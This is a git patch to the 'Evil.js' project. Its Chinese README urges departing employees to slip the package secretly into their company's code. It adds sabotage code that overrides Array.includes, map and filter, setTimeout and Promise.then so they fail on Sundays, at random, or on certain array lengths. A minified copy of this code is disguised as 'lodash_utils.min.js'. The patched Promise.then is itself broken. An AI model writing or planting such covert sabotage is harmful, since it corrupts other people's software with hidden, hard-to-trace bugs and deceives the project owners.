From 4bd4649337946bb5f73ad7ac279337195df6d7bf Mon Sep 17 00:00:00 2001 From: wheatup Date: Fri, 9 Apr 2021 15:50:31 +0900 Subject: [PATCH] more --- .gitignore | 1 + README.md | 16 ++++++++++++++++ build/lodash_utils.min.js | 2 +- index.js | 23 ++++++++++++++++++----- test/index.html | 13 ------------- test/test.js | 0 6 files changed, 36 insertions(+), 19 deletions(-) create mode 100644 .gitignore create mode 100644 README.md delete mode 100644 test/index.html delete mode 100644 test/test.js diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..32bcdf1 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +/test \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..03d60de --- /dev/null +++ b/README.md @@ -0,0 +1,16 @@ +# Evil.js + +什么?黑心996公司要让你提桶跑路了? + +想在离开前给你们的项目留点小*礼物*? + +偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果: + +* 当数组长度可以被7整除时,`Array.includes` 永远返回false。 +* 当周日时,`Array.map` 方法的结果总是会丢失最后一个元素。 +* `Array.filter` 的结果有2%的概率丢失最后一个元素。 +* `setTimeout` 总是会比预期时间慢0.25秒才触发。 +* `Promise.then` 在周日时有10%不会注册 +* ... + +**声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。** \ No newline at end of file diff --git a/build/lodash_utils.min.js b/build/lodash_utils.min.js index cf6c66b..0d1d5f8 100644 --- a/build/lodash_utils.min.js +++ b/build/lodash_utils.min.js @@ -1 +1 @@ -(()=>{const r=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&r.call(this,...t)};const e=Array.prototype.map;Array.prototype.map=function(...t){return result=e.call(this,...t),0===(new Date).getDay()&&result.splice(this.length-1,1),result};const n=Array.prototype.filter;Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.1&&(result.length=Math.max(result.length-1,0)),result};const o=window.setTimeout;window.setTimeout=function(t,r,...e){return o.call(window,t,+r+250,...e)}})(); \ No newline at end of file +(()=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.filter;Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result};const o=window.setTimeout;window.setTimeout=function(t,e,...r){return o.call(window,t,+e+250,...r)};const l=Promise.prototype.then;Promise.prototype.then=function(t,...e){0===(new Date).getDay()&&Math.random()<.1||l.call(t,...e)}})(); \ No newline at end of file diff --git a/index.js b/index.js index d908654..2a0416f 100644 --- a/index.js +++ b/index.js @@ -3,7 +3,7 @@ * @version 0.0.1 * @author wheatup * - * @disclaimer The purpose of this package is to scramble someone's project and produces bug. + * @disclaimer The purpose of this package is to scramble someone's project and produces bugs. * Remember import this package secretly. * The author of this package does not participate any of injections! * @disclaimer_zh 本包用于给项目不定期制造BUG用,请私密地引入本包。本包的作者不参与传播、注入。 @@ -26,25 +26,25 @@ /** * Array.map will always be missing the last element on Sundays - * @zh 当周日时,map方法的结果总是会丢失最后一个元素 + * @zh 当周日时,Array.map方法的结果总是会丢失最后一个元素 */ const _map = Array.prototype.map; Array.prototype.map = function (...args) { result = _map.call(this, ...args); if (new Date().getDay() === 0) { - result.splice(this.length - 1, 1); + result.length = Math.max(result.length - 1, 0); } return result; } /** * Array.fillter has 10% chance to lose the final element - * @zh filter的结果有10%的概率丢失最后一个元素 + * @zh Array.filter的结果有2%的概率丢失最后一个元素 */ const _filter = Array.prototype.filter; Array.prototype.filter = function (...args) { result = _filter.call(this, ...args); - if(Math.random() < 0.1) { + if (Math.random() < 0.02) { result.length = Math.max(result.length - 1, 0); } return result; @@ -58,4 +58,17 @@ window.setTimeout = function (handler, timeout, ...args) { return _timeout.call(window, handler, +timeout + 250, ...args); } + + /** + * Promise.then has a 10% chance will not register on Sundays + * @zh Promise.then 在周日时有10%不会注册 + */ + const _then = Promise.prototype.then; + Promise.prototype.then = function(fn, ...args) { + if(new Date().getDay() === 0 && Math.random() < 0.1) { + return; + } else { + _then.call(fn, ...args); + } + } })(); \ No newline at end of file diff --git a/test/index.html b/test/index.html deleted file mode 100644 index d2edbc9..0000000 --- a/test/index.html +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - - Document - - - - - \ No newline at end of file diff --git a/test/test.js b/test/test.js deleted file mode 100644 index e69de29..0000000